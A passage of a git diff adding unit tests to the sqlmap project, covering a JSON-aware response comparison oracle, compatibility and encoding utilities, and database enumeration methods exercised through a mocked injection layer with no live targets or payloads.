["%s: %s\r\n" % (HTTP_HEADER.CONTENT_TYPE, self._ct)] if self._ct else [] + + +class TestJsonMinimize(unittest.TestCase): + def test_order_and_whitespace_immune(self): + self.assertEqual(jsonMinimize('{"b":2,"a":1}'), jsonMinimize('{ "a": 1,\n "b": 2 }')) + + def test_value_flip_differs(self): + self.assertNotEqual(jsonMinimize('{"ok":true}'), jsonMinimize('{"ok":false}')) + + def test_array_length_registers(self): + self.assertNotEqual(jsonMinimize('{"r":[1,2,3]}'), jsonMinimize('{"r":[1,2,3,4]}')) + + def test_parse_failure_is_none(self): + for bad in ("", "{bad", "", "{'a':1}", None): + self.assertIsNone(jsonMinimize(bad)) + + def test_valid_edge_shapes_are_not_none(self): + # bare array, scalar, and top-level null are valid JSON -> defined (non-None) projections + for ok in ("[1,2]", "42", "null", '"x"'): + self.assertIsNotNone(jsonMinimize(ok)) + self.assertEqual(jsonMinimize("{}"), "") # empty object -> empty projection (not None) + + +class _OracleCase(unittest.TestCase): + _FLAGS = ("string", "notString", "regexp", "code", "titles", "textOnly") + _KB = ("matchRatio", "nullConnection", "heavilyDynamic", "skipSeqMatcher", + "errorIsNone", "negativeLogic", "dynamicMarkings", "testMode", "pageTemplate") + + def setUp(self): + self._c = dict((k, conf.get(k)) for k in self._FLAGS) + self._k = dict((k, kb.get(k)) for k in self._KB) + for k in self._FLAGS: + conf[k] = None + kb.nullConnection = kb.heavilyDynamic = kb.skipSeqMatcher = kb.errorIsNone = kb.negativeLogic = kb.testMode = False + kb.dynamicMarkings = [] + + def tearDown(self): + for k, v in self._c.items(): + conf[k] = v + for k, v in self._k.items(): + kb[k] = v + + def ratio(self, template, page, contentType): + # fresh, uncalibrated comparison each call + kb.matchRatio = None + kb.pageTemplate = template + td = getCurrentThreadData() + td.lastPageTemplate = None + return comparison(page, _Headers(contentType), getRatioValue=True) + + +class TestStructuredOracle(_OracleCase): + def test_noise_immunity_beats_text(self): + # same data, keys reordered + reindented: JSON path ~identical, text path measurably lower. + # This is D1's core win - reorder/whitespace noise (ubiquitous in real APIs) stops + # perturbing the ratio, which also stabilizes the kb.matchRatio calibration. + a = '{"id":1,"name":"alice","role":"admin"}' + b = '{ "role": "admin",\n "name": "alice",\n "id": 1 }' + jsonRatio = self.ratio(a, b, "application/json") + textRatio = self.ratio(a, b, "text/html") + self.assertGreater(jsonRatio, UPPER_RATIO_BOUND) # JSON: noise ignored -> True + self.assertLess(textRatio, jsonRatio) # text: perturbed by reordering + + def test_real_difference_still_detected(self): + # normalization must not over-collapse: a genuinely different value still separates + a = '{"role":"admin"}' + b = '{"role":"guest"}' + self.assertLess(self.ratio(a, b, "application/json"), UPPER_RATIO_BOUND) + + def test_html_contenttype_uses_text_path(self): + # identical inputs through a text/html response must equal the pure text baseline + a = '{"id":1,"name":"alice"}' + b = '{ "name": "alice", "id": 1 }' + conf.code = None + self.assertEqual(self.ratio(a, b, "text/html"), self.ratio(a, b, None)) + + def test_unparseable_json_falls_back(self): + # application/json Content-Type but a non-JSON body -> behaves exactly like the text path + a, b = "x", "y" + self.assertEqual(self.ratio(a, b, "application/json"), self.ratio(a, b, "text/html")) + + def test_structured_suffix_contenttype_gated_in(self): + a = '{"id":1,"name":"alice","role":"admin"}' + b = '{ "role":"admin", "name":"alice", "id":1 }' + self.assertGreater(self.ratio(a, b, "application/vnd.api+json; charset=utf-8"), UPPER_RATIO_BOUND) + + def test_textonly_escape_hatch_bypasses_json(self): + a = '{"id":1,"name":"alice"}' + b = '{ "name":"alice", "id":1 }' + withJson = self.ratio(a, b, "application/json") + conf.textOnly = True + withoutJson = self.ratio(a, b, "application/json") + self.assertGreater(withJson, withoutJson) # --text-only opts out of the JSON path + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_compat.py b/tests/test_compat.py new file mode 100644 index 00000000000..98c54434437 --- /dev/null +++ b/tests/test_compat.py @@ -0,0 +1,289 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Tests for lib/core/compat.py -- cross-version compatibility utilities, +including WichmannHill RNG, patchHeaders, cmp_to_key, LooseVersion, +MixedWriteTextIO, and _codecs_open. +""" + +import io +import os +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.compat import (WichmannHill, patchHeaders, cmp, choose_boundary, + round, cmp_to_key, LooseVersion, _is_write_mode, + MixedWriteTextIO, _codecs_open) + + +class TestWichmannHill(unittest.TestCase): + def test_seed_and_random(self): + r = WichmannHill(42) + self.assertIsInstance(r.random(), float) + self.assertGreaterEqual(r.random(), 0.0) + self.assertLess(r.random(), 1.0) + + def test_deterministic_seed(self): + r1 = WichmannHill(123) + r2 = WichmannHill(123) + # First random numbers should match + self.assertEqual([r1.random() for _ in range(10)], + [r2.random() for _ in range(10)]) + + def test_getstate_setstate(self): + r = WichmannHill(7) + for _ in range(20): + r.random() + state = r.getstate() + saved = [r.random() for _ in range(5)] + r.setstate(state) + self.assertEqual(saved, [r.random() for _ in range(5)]) + + def test_jumpahead(self): + r1 = WichmannHill(99) + r2 = WichmannHill(99) + for _ in range(10): + r1.random() + r2.jumpahead(10) + self.assertEqual(r1.getstate()[1], r2.getstate()[1]) + + def test_jumpahead_negative_raises(self): + r = WichmannHill() + with self.assertRaises(ValueError): + r.jumpahead(-1) + + def test_whseed(self): + # a fixed integer whseed must be deterministic across instances ... + r1 = WichmannHill() + r1.whseed(12345) + r2 = WichmannHill() + r2.whseed(12345) + self.assertEqual([r1.random() for _ in range(10)], + [r2.random() for _ in range(10)]) + # ... and pin the known sequence (hash(int) == int, so stable across processes) + r3 = WichmannHill() + r3.whseed(12345) + self.assertEqual([round(r3.random(), 6) for _ in range(3)], + [0.600031, 0.872148, 0.039151]) + + def test_whseed_none(self): + r = WichmannHill() + r.whseed() # seeds from current time; must not raise + # the time-derived seed must still drive a valid in-range sequence. (Non-determinism is NOT + # asserted here: __whseed() derives its seed from int(time.time()*256) masked to 24 bits, so + # two back-to-back instances legitimately collide - that would be a timing-fragile test. The + # os.urandom-backed seed() None path IS asserted non-deterministic in test_seed_none.) + seq = [r.random() for _ in range(10)] + self.assertTrue(all(isinstance(x, float) and 0.0 <= x < 1.0 for x in seq)) + # the seed must actually advance the generator (not stuck on a constant) + self.assertGreater(len(set(seq)), 1) + + def test_seed_none(self): + r = WichmannHill() + r.seed() # seeds from os.urandom/time; must not raise + seq = [r.random() for _ in range(10)] + self.assertTrue(all(isinstance(x, float) and 0.0 <= x < 1.0 for x in seq)) + other = WichmannHill() + other.seed() + self.assertNotEqual(seq, [other.random() for _ in range(10)]) + + def test_seed_hashable(self): + # a non-int hashable seed goes through hash(a); two instances seeded with the same + # object in the same process must produce the same sequence (determinism). The literal + # values are NOT pinned because hash() of a str is randomized per process. + r1 = WichmannHill("a_string_seed") + r2 = WichmannHill("a_string_seed") + seq = [r1.random() for _ in range(10)] + self.assertEqual(seq, [r2.random() for _ in range(10)]) + self.assertTrue(all(0.0 <= x < 1.0 for x in seq)) + # a different seed must yield a different sequence + r3 = WichmannHill("different_seed") + self.assertNotEqual(seq, [r3.random() for _ in range(10)]) + + def test_setstate_bad_version(self): + r = WichmannHill() + with self.assertRaises(ValueError): + r.setstate((999, (1, 1, 1), None)) + + +class TestPatchHeaders(unittest.TestCase): + def test_patches_dict_to_header_obj(self): + h = patchHeaders({"Host": "example.com", "Content-Type": "text/html"}) + self.assertEqual(h["host"], "example.com") + self.assertEqual(h["content-type"], "text/html") + self.assertEqual(h.get("HOST"), "example.com") + self.assertIsNone(h.get("missing")) + self.assertIsNotNone(h.headers) + self.assertTrue(any("Host: example.com" in _ for _ in h.headers)) + + def test_passthrough_none(self): + self.assertIsNone(patchHeaders(None)) + + def test_passthrough_existing_headers_attr(self): + d = {"A": "1"} + d["headers"] = [] + result = patchHeaders(d) + self.assertEqual(result, d) # unchanged + + +class TestCmp(unittest.TestCase): + def test_less(self): + self.assertEqual(cmp("a", "b"), -1) + + def test_greater(self): + self.assertEqual(cmp(2, 1), 1) + + def test_equal(self): + self.assertEqual(cmp(5, 5), 0) + + +class TestRound(unittest.TestCase): + def test_positive(self): + self.assertEqual(round(2.0), 2.0) + self.assertEqual(round(2.5), 3.0) + self.assertEqual(round(2.499), 2.0) + + def test_negative(self): + self.assertEqual(round(-2.5), -3.0) + self.assertEqual(round(-2.0), -2.0) + + def test_with_decimals(self): + self.assertAlmostEqual(round(2.567, d=2), 2.57) + + +class TestCmpToKey(unittest.TestCase): + def test_sort_with_cmp(self): + items = [3, 1, 4, 1, 5] + key_func = cmp_to_key(lambda a, b: (a > b) - (a < b)) + self.assertEqual(sorted(items, key=key_func), [1, 1, 3, 4, 5]) + + def test_reverse_sort(self): + items = [3, 1, 2] + key_func = cmp_to_key(lambda a, b: (b > a) - (b < a)) + self.assertEqual(sorted(items, key=key_func), [3, 2, 1]) + + def test_hash_raises(self): + k = cmp_to_key(lambda a, b: 0)(5) + with self.assertRaises(TypeError): + hash(k) + + +class TestLooseVersion(unittest.TestCase): + def test_basic(self): + self.assertEqual(LooseVersion("1.0"), (1, 0)) + self.assertEqual(LooseVersion("1.0.1"), (1, 0, 1)) + + def test_comparison(self): + self.assertTrue(LooseVersion("1.0.1") > LooseVersion("1.0")) + self.assertTrue(LooseVersion("8.0.22") > LooseVersion("8.0.2")) + + def test_no_digits(self): + self.assertEqual(LooseVersion("alpha"), ()) + self.assertEqual(LooseVersion(""), ()) + self.assertEqual(LooseVersion(None), ()) + + def test_with_suffix(self): + self.assertEqual(LooseVersion("1.0alpha"), (1, 0)) + self.assertEqual(LooseVersion("10.5.3-beta"), (10, 5, 3)) + + +class TestIsWriteMode(unittest.TestCase): + def test_write_modes(self): + for mode in ("w", "a", "x", "w+", "a+", "x+", "w+b", "ab"): + self.assertTrue(_is_write_mode(mode), msg="mode %r" % mode) + + def test_read_modes(self): + for mode in ("r", "rb", ""): + self.assertFalse(_is_write_mode(mode), msg="mode %r" % mode) + + +class TestMixedWriteTextIO(unittest.TestCase): + def test_text_write(self): + buf = io.StringIO() + w = MixedWriteTextIO(buf, "utf-8", "strict") + w.write(u"hello") + self.assertEqual(buf.getvalue(), "hello") + + def test_bytes_write_decodes(self): + buf = io.StringIO() + w = MixedWriteTextIO(buf, "utf-8", "strict") + w.write(b"world") + self.assertEqual(buf.getvalue(), "world") + + def test_writelines(self): + buf = io.StringIO() + w = MixedWriteTextIO(buf, "utf-8", "strict") + w.writelines([u"a", u"b", u"c"]) + self.assertEqual(buf.getvalue(), "abc") + + def test_iterator(self): + buf = io.StringIO(u"line1\nline2\n") + w = MixedWriteTextIO(buf, "utf-8", "strict") + self.assertEqual(list(w), ["line1\n", "line2\n"]) + + def test_enter_exit(self): + buf = io.StringIO() + w = MixedWriteTextIO(buf, "utf-8", "strict") + with w as f: + f.write(u"test") + self.assertTrue(buf.closed) + + +class TestCodecsOpen(unittest.TestCase): + def test_no_encoding_returns_io_open(self): + tmp = tempfile.NamedTemporaryFile(mode='w', suffix='.txt', delete=False) + tmp.close() + try: + f = _codecs_open(tmp.name, "w", encoding=None) + f.write(u"test") + f.close() + with open(tmp.name) as fh: + self.assertIn("test", fh.read()) + finally: + os.unlink(tmp.name) + + def test_with_encoding(self): + tmp = tempfile.NamedTemporaryFile(mode='w', suffix='.txt', delete=False) + tmp.close() + try: + f = _codecs_open(tmp.name, "w", encoding="utf-8") + f.write(u"caf\xe9") + f.close() + with open(tmp.name, "rb") as fh: + self.assertIn(b"caf\xc3\xa9", fh.read()) + finally: + os.unlink(tmp.name) + + def test_with_encoding_and_bytes(self): + tmp = tempfile.NamedTemporaryFile(mode='w', suffix='.txt', delete=False) + tmp.close() + try: + f = _codecs_open(tmp.name, "w", encoding="utf-8") + # MixedWriteTextIO should accept bytes too + f.write(b"bytes_input") + f.close() + with open(tmp.name) as fh: + self.assertIn("bytes_input", fh.read()) + finally: + os.unlink(tmp.name) + + +class TestChooseBoundary(unittest.TestCase): + def test_length(self): + self.assertEqual(len(choose_boundary()), 32) + + def test_hex_chars(self): + b = choose_boundary() + self.assertTrue(all(c in "0123456789abcdef" for c in b)) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_convert.py b/tests/test_convert.py new file mode 100644 index 00000000000..9ca997f5a7c --- /dev/null +++ b/tests/test_convert.py @@ -0,0 +1,140 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Encoding / decoding / serialization round-trips and known vectors. +Covers: hex, base64 (std + url-safe), DBMS hex decode, byte<->text conversion, +JSON (de)serialization, restricted base64-pickle. +""" + +import os +import random +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.convert import (decodeHex, encodeHex, decodeBase64, encodeBase64, + getBytes, getText, getUnicode, getOrds, + jsonize, dejsonize, serializeValue, deserializeValue) +from lib.core.common import decodeDbmsHexValue + +try: + unichr = unichr +except NameError: + unichr = chr + +RND = random.Random(0xC0FFEE) + + +def _rand_bytes(maxlen=48): + return bytes(bytearray(RND.randint(0, 255) for _ in range(RND.randint(0, maxlen)))) + + +class TestHex(unittest.TestCase): + def test_known_vectors(self): + self.assertEqual(decodeHex("31323334", binary=True), b"1234") + self.assertEqual(getText(encodeHex(b"1234", binary=False)), "31323334") + + def test_roundtrip_property(self): + for _ in range(3000): + raw = _rand_bytes() + self.assertEqual(decodeHex(encodeHex(raw, binary=False), binary=True), raw) + + +class TestBase64(unittest.TestCase): + def test_known_vectors(self): + self.assertEqual(decodeBase64("MTIz", binary=True), b"123") + self.assertEqual(decodeBase64("MTIzNA", binary=True), b"1234") # missing padding + self.assertEqual(decodeBase64("MTIzNA==", binary=True), b"1234") + self.assertEqual(getText(encodeBase64(b"123", binary=False)), "MTIz") + # url-safe and standard alphabets must decode equivalently + self.assertEqual(decodeBase64("A-B_CDE", binary=True), decodeBase64("A+B/CDE", binary=True)) + + def test_roundtrip_property(self): + for _ in range(3000): + raw = _rand_bytes() + self.assertEqual(decodeBase64(encodeBase64(raw, binary=True), binary=True), raw) + self.assertEqual(decodeBase64(encodeBase64(raw, binary=True, safe=True), binary=True), raw) + self.assertEqual(decodeBase64(encodeBase64(raw, binary=True, padding=False), binary=True), raw) + + +class TestDecodeDbmsHexValue(unittest.TestCase): + # authoritative vectors taken from the function's own doctests + def test_known_vectors(self): + self.assertEqual(decodeDbmsHexValue("3132332031"), u"123 1") + self.assertEqual(decodeDbmsHexValue("31003200330020003100"), u"123 1") # utf-16-le shaped + self.assertEqual(decodeDbmsHexValue("00310032003300200031"), u"123 1") # utf-16-be shaped + self.assertEqual(decodeDbmsHexValue("0x31003200330020003100"), u"123 1") + self.assertEqual(decodeDbmsHexValue("313233203"), u"123 ?") # odd length + self.assertEqual(decodeDbmsHexValue(["0x31", "0x32"]), [u"1", u"2"]) # list input + + def test_ascii_roundtrip_property(self): + for _ in range(1000): + s = "".join(chr(RND.randint(0x20, 0x7e)) for _ in range(RND.randint(1, 30))) + if len(s) % 2 == 0: # avoid the deliberate odd-length '?' behavior + self.assertEqual(decodeDbmsHexValue(getText(encodeHex(getBytes(s), binary=False))), s) + + +class TestByteTextConversion(unittest.TestCase): + def test_ascii_roundtrip(self): + for _ in range(1000): + s = u"".join(unichr(RND.randint(0x20, 0x7e)) for _ in range(RND.randint(0, 30))) + self.assertEqual(getUnicode(getBytes(s)), s) + + def test_unicode_roundtrip(self): + samples = [u"café", u"你好", u"\U0001F600", u"a’b™c"] + for s in samples: + self.assertEqual(getUnicode(getBytes(s)), s) + + def test_getords(self): + self.assertEqual(getOrds(b"AB"), [65, 66]) + + +class TestJson(unittest.TestCase): + def test_roundtrip(self): + for obj in [{"a": 1, "b": [1, 2, 3]}, [1, "x", None], {"nested": {"k": "v"}}, "str", 123]: + self.assertEqual(dejsonize(jsonize(obj)), obj) + + def test_jsonize_produces_text_not_identity(self): + # anchor: jsonize must serialize to a JSON string, not pass the object through + out = jsonize({"a": 1}) + self.assertIsInstance(out, str) + self.assertIn('"a"', out) + self.assertEqual(jsonize(123), "123") # int -> textual "123" + + +class TestSerialize(unittest.TestCase): + # Smoke coverage of the safe (JSON-based) session serializer; the exhaustive corner-case + # and security suite lives in tests/test_serialize.py. + def test_roundtrip_allowed_types(self): + for obj in [[1, 2, 3], {"a": 1}, (1, 2), "text", 42, 3.14, True, None, {"k": [1, {"n": "v"}]}]: + self.assertEqual(deserializeValue(serializeValue(obj)), obj) + + def test_bytes_roundtrip(self): + for raw in [b"x", b"\x00\x01\xff", b"\xde\xad\xbe\xef"]: + self.assertEqual(deserializeValue(serializeValue(raw)), raw, msg="bytes round-trip %r" % raw) + + def test_bytes_nested_in_container_roundtrip(self): + for obj in [{"a": b"bytes"}, [b"ab", "s", 1, None], ("t", b"\xde\xad")]: + self.assertEqual(deserializeValue(serializeValue(obj)), obj, msg="nested-bytes round-trip %r" % (obj,)) + + def test_output_is_plain_ascii_text_no_base64(self): + # the serialized form must be readable JSON text (not Base64 / binary) so it lands verbatim in + # the TEXT session column with zero wrapping overhead + out = serializeValue({"k": [1, (2, 3)]}) + self.assertIsInstance(out, str) + self.assertTrue(out.startswith("{") and out.endswith("}"), out) + + def test_deserialize_accepts_bytes(self): + # BigArray hands the serialized data back as bytes (off a compressed disk chunk) + self.assertEqual(deserializeValue(getBytes(serializeValue([1, (2, 3)]))), [1, (2, 3)]) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_databases_enum.py b/tests/test_databases_enum.py new file mode 100644 index 00000000000..e3136011803 --- /dev/null +++ b/tests/test_databases_enum.py @@ -0,0 +1,773 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit tests for the enumeration methods of plugins/generic/databases.py. + +The injection layer (lib.request.inject.getValue) is mocked so no network or +live DBMS is required; each test drives a single enumeration method down a +specific branch (conf.direct "inband" path or the isInferenceAvailable() blind +path) and asserts on the returned value / kb.data.cached* state. + +CRITICAL: every test restores conf.*, the patched dbmod.inject.getValue, and the +mutated kb.data flags in tearDown so global state does not leak into the rest of +the suite. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms + +bootstrap() + +from lib.core.data import conf, kb +from lib.core.enums import EXPECTED, PAYLOAD +import plugins.generic.databases as dbmod +from plugins.generic.databases import Databases + +# Databases.forceDbmsEnum() is supplied at runtime by the concrete dbms fingerprint +# plugin mixin (plugins/dbms/*/fingerprint.py); a bare Databases() instance lacks it, +# so neutralize it for the duration of these tests. Restored in tearDown via the saved ref. +_NOOP = lambda self: None + + +def _inference_gv(count, sequence): + """Build an inject.getValue stub for blind inference branches. + + Returns `count` (as str) whenever the caller asks for EXPECTED.INT, otherwise + yields the next item from `sequence` wrapped as a single-cell row ([value]), + cycling if exhausted. This mirrors the count-then-per-row contract of every + isInferenceAvailable() branch. + """ + state = {"i": 0} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return str(count) + val = sequence[state["i"] % len(sequence)] + state["i"] += 1 + return [val] + + return gv + + +class _BaseEnumTest(unittest.TestCase): + """Shared setup/teardown that snapshots and restores all touched global state.""" + + # conf keys every test may read/write + _CONF_KEYS = ("direct", "technique", "db", "tbl", "col", "exclude", + "getComments", "excludeSysDbs", "search", "freshQueries", "threads") + + def setUp(self): + self._saved_conf = {k: conf.get(k) for k in self._CONF_KEYS} + self._saved_getValue = dbmod.inject.getValue + self._saved_injection_data = kb.injection.data + self._saved_has_is = kb.data.get("has_information_schema") + # the inference paths of getTables/getColumns set kb.hintValue as a side effect; + # snapshot it so we never leak a stale hint into other test files (e.g. the + # inference engine's tryHint(), whose setUp does not reset it). + self._saved_hintValue = kb.get("hintValue") + self._saved_forceDbmsEnum = getattr(Databases, "forceDbmsEnum", None) + Databases.forceDbmsEnum = _NOOP + + # sane defaults shared by most tests + conf.getComments = False + conf.excludeSysDbs = False + conf.exclude = None + conf.search = False + conf.freshQueries = False + conf.col = None + kb.data.has_information_schema = True + + def tearDown(self): + for k, v in self._saved_conf.items(): + conf[k] = v + dbmod.inject.getValue = self._saved_getValue + kb.injection.data = self._saved_injection_data + kb.data.has_information_schema = self._saved_has_is + kb.hintValue = self._saved_hintValue + if self._saved_forceDbmsEnum is not None: + Databases.forceDbmsEnum = self._saved_forceDbmsEnum + else: + try: + del Databases.forceDbmsEnum + except AttributeError: + pass + + # helpers ----------------------------------------------------------------- + + def _fresh(self): + """Return a Databases() instance with every cache reset to empty.""" + d = Databases() + kb.data.currentDb = "" + kb.data.cachedDbs = [] + kb.data.cachedTables = {} + kb.data.cachedColumns = {} + kb.data.cachedCounts = {} + kb.data.cachedStatements = [] + kb.data.cachedProcedures = [] + return d + + def _enable_inference(self): + """Take the blind inference branch: conf.direct off, a BOOLEAN technique present.""" + conf.direct = False + conf.technique = None + conf.threads = 1 # exercise the serial getValue() path these tests mock (>1 takes the value-parallel branch) + kb.injection.data = {PAYLOAD.TECHNIQUE.BOOLEAN: {"title": "AND boolean-based blind"}} + + +class TestGetCurrentDb(_BaseEnumTest): + def test_current_db_mysql(self): + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + dbmod.inject.getValue = lambda query, *a, **k: "testdb" + self.assertEqual(d.getCurrentDb(), "testdb") + self.assertEqual(kb.data.currentDb, "testdb") + + def test_current_db_cached(self): + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + kb.data.currentDb = "already" + + def _boom(*a, **k): + raise AssertionError("inject.getValue must not be called when currentDb is cached") + + dbmod.inject.getValue = _boom + self.assertEqual(d.getCurrentDb(), "already") + + def test_current_db_oracle_schema_warning_branch(self): + # Oracle takes the schema-name warning branch; result still returned. + set_dbms("Oracle") + conf.direct = True + d = self._fresh() + dbmod.inject.getValue = lambda query, *a, **k: "SYSTEM" + self.assertEqual(d.getCurrentDb(), "SYSTEM") + + +class TestGetDbs(_BaseEnumTest): + def test_get_dbs_direct_mysql(self): + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + dbmod.inject.getValue = lambda query, *a, **k: [["information_schema"], ["mysql"], ["testdb"]] + result = d.getDbs() + self.assertEqual(sorted(result), ["information_schema", "mysql", "testdb"]) + self.assertIn("testdb", kb.data.cachedDbs) + + def test_get_dbs_cached_short_circuit(self): + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + kb.data.cachedDbs = ["pre", "cached"] + + def _boom(*a, **k): + raise AssertionError("must not query when cachedDbs is populated") + + dbmod.inject.getValue = _boom + self.assertEqual(d.getDbs(), ["pre", "cached"]) + + def test_get_dbs_direct_pgsql_schema_branch(self): + set_dbms("PostgreSQL") + conf.direct = True + d = self._fresh() + dbmod.inject.getValue = lambda query, *a, **k: [["public"], ["information_schema"]] + result = d.getDbs() + self.assertEqual(sorted(result), ["information_schema", "public"]) + + def test_get_dbs_mysql_no_information_schema(self): + # MySQL < 5: query2 / count2 branch; still inband under conf.direct. + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + kb.data.has_information_schema = False + dbmod.inject.getValue = lambda query, *a, **k: [["mysql"], ["app"]] + result = d.getDbs() + self.assertEqual(sorted(result), ["app", "mysql"]) + + def test_get_dbs_inference(self): + set_dbms("MySQL") + self._enable_inference() + d = self._fresh() + + names = ["alpha", "beta", "gamma"] + state = {"i": 0} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return str(len(names)) + val = names[state["i"]] + state["i"] += 1 + return [val] + + dbmod.inject.getValue = gv + result = d.getDbs() + self.assertEqual(sorted(result), sorted(names)) + + def test_get_dbs_fallback_to_current(self): + # No dbs returned inband -> falls back to current database. + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + state = {"n": 0} + + def gv(query, *a, **k): + state["n"] += 1 + if state["n"] == 1: + return None # getDbs inband: nothing + return "fallbackdb" # getCurrentDb + + dbmod.inject.getValue = gv + result = d.getDbs() + self.assertEqual(result, ["fallbackdb"]) + + +class TestGetTables(_BaseEnumTest): + def test_get_tables_direct_mysql(self): + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + conf.db = "testdb" + conf.tbl = None + dbmod.inject.getValue = lambda query, *a, **k: [["testdb", "users"], ["testdb", "posts"]] + result = d.getTables() + self.assertIn("testdb", result) + self.assertEqual(sorted(result["testdb"]), ["posts", "users"]) + + def test_get_tables_cached_short_circuit(self): + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + kb.data.cachedTables = {"db": ["t1"]} + + def _boom(*a, **k): + raise AssertionError("must not query when cachedTables is populated") + + dbmod.inject.getValue = _boom + self.assertEqual(d.getTables(), {"db": ["t1"]}) + + def test_get_tables_direct_pgsql(self): + set_dbms("PostgreSQL") + conf.direct = True + d = self._fresh() + conf.db = "public" + conf.tbl = None + dbmod.inject.getValue = lambda query, *a, **k: [["public", "accounts"]] + result = d.getTables() + self.assertEqual(result.get("public"), ["accounts"]) + + def test_get_tables_inference(self): + set_dbms("MySQL") + self._enable_inference() + d = self._fresh() + conf.db = "testdb" + conf.tbl = None + + tables = ["t_a", "t_b"] + state = {"i": 0} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return str(len(tables)) + val = tables[state["i"] % len(tables)] + state["i"] += 1 + return [val] + + dbmod.inject.getValue = gv + result = d.getTables() + self.assertIn("testdb", result) + self.assertEqual(sorted(result["testdb"]), sorted(tables)) + + +class TestGetColumns(_BaseEnumTest): + def _run_direct(self, dbms, db, tbl, rows): + set_dbms(dbms) + conf.direct = True + d = self._fresh() + conf.db = db + conf.tbl = tbl + dbmod.inject.getValue = lambda query, *a, **k: rows + return d.getColumns() + + def test_columns_direct_mysql(self): + result = self._run_direct("MySQL", "testdb", "users", [["id", "int"], ["age", "int"]]) + self.assertIn("testdb", result) + cols = result["testdb"]["users"] + self.assertEqual(cols.get("id"), "int") + self.assertEqual(cols.get("age"), "int") + + def test_columns_direct_pgsql(self): + result = self._run_direct("PostgreSQL", "public", "users", [["id", "integer"]]) + self.assertEqual(result["public"]["users"].get("id"), "integer") + + def test_columns_direct_oracle_uppercase(self): + # Oracle is an UPPER_CASE dbms: conf.db/tbl get upcased internally. + result = self._run_direct("Oracle", "system", "users", [["ID", "NUMBER"]]) + # Oracle quotes the identifier ("SYSTEM"); assert the column landed regardless. + flat = {} + for tables in result.values(): + for cols in tables.values(): + flat.update(cols) + self.assertEqual(flat.get("ID"), "NUMBER") + + def test_columns_direct_mssql(self): + result = self._run_direct("Microsoft SQL Server", "master", "users", [["id", "int"]]) + # MSSQL wraps the db identifier in [brackets]; assert the column landed. + flat = {} + for tables in result.values(): + for cols in tables.values(): + flat.update(cols) + self.assertEqual(flat.get("id"), "int") + + def test_columns_only_names(self): + # onlyColNames is ONLY read in the inference branch (the INBAND path + # ignores it), so drive the blind inference path like + # test_columns_inference_mysql but with onlyColNames=True. The flag must + # SUPPRESS the type lookup: each column's value lands as None instead of + # the real type. Asserting cols.get("id") is None proves the flag took + # effect (otherwise the type query would run and return "int"). + set_dbms("MySQL") + self._enable_inference() + d = self._fresh() + conf.db = "testdb" + conf.tbl = "users" + + colnames = ["id", "name"] + state = {"i": 0} + type_queries = {"n": 0} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return str(len(colnames)) + # With onlyColNames the second-stage type query (blind.query2, which + # selects column_type) must NEVER be issued. + if "column_type" in query.lower(): + type_queries["n"] += 1 + return ["int"] + val = colnames[state["i"] % len(colnames)] + state["i"] += 1 + return [val] + + dbmod.inject.getValue = gv + result = d.getColumns(onlyColNames=True) + cols = result["testdb"]["users"] + # both column names enumerated... + self.assertEqual(len(cols), len(colnames)) + self.assertIn("id", cols) + # ...but their types were suppressed (None), and no type query ran. + self.assertIsNone(cols.get("id")) + self.assertEqual(type_queries["n"], 0) + + def test_columns_inference_mysql(self): + set_dbms("MySQL") + self._enable_inference() + d = self._fresh() + conf.db = "testdb" + conf.tbl = "users" + + colnames = ["id", "name"] + state = {"i": 0, "names": True} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return str(len(colnames)) + # alternate: column name then its type + if state["names"]: + val = colnames[state["i"] % len(colnames)] + state["i"] += 1 + state["names"] = False + return [val] + else: + state["names"] = True + return ["int"] + + dbmod.inject.getValue = gv + result = d.getColumns() + self.assertIn("testdb", result) + cols = result["testdb"]["users"] + # both columns enumerated (reserved words like "name" get quoted, so count, not exact keys) + self.assertEqual(len(cols), len(colnames)) + self.assertEqual(cols.get("id"), "int") + + +class TestGetCount(_BaseEnumTest): + def test_count_single_table_mysql(self): + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + conf.db = "testdb" + conf.tbl = "users" + dbmod.inject.getValue = lambda query, *a, **k: "42" + result = d.getCount() + self.assertEqual(result, {"testdb": {42: ["users"]}}) + + def test_count_dotted_table_splits_db(self): + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + conf.db = None + conf.tbl = "shop.orders" + dbmod.inject.getValue = lambda query, *a, **k: "7" + result = d.getCount() + self.assertEqual(result, {"shop": {7: ["orders"]}}) + + def test_count_multiple_tables(self): + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + conf.db = "testdb" + conf.tbl = "users,posts" + counts = {"users": "3", "posts": "5"} + + def gv(query, *a, **k): + # the table name appears in the FROM clause of the generated query + for t, c in counts.items(): + if t in query: + return c + return "0" + + dbmod.inject.getValue = gv + result = d.getCount() + self.assertIn("testdb", result) + self.assertIn("users", 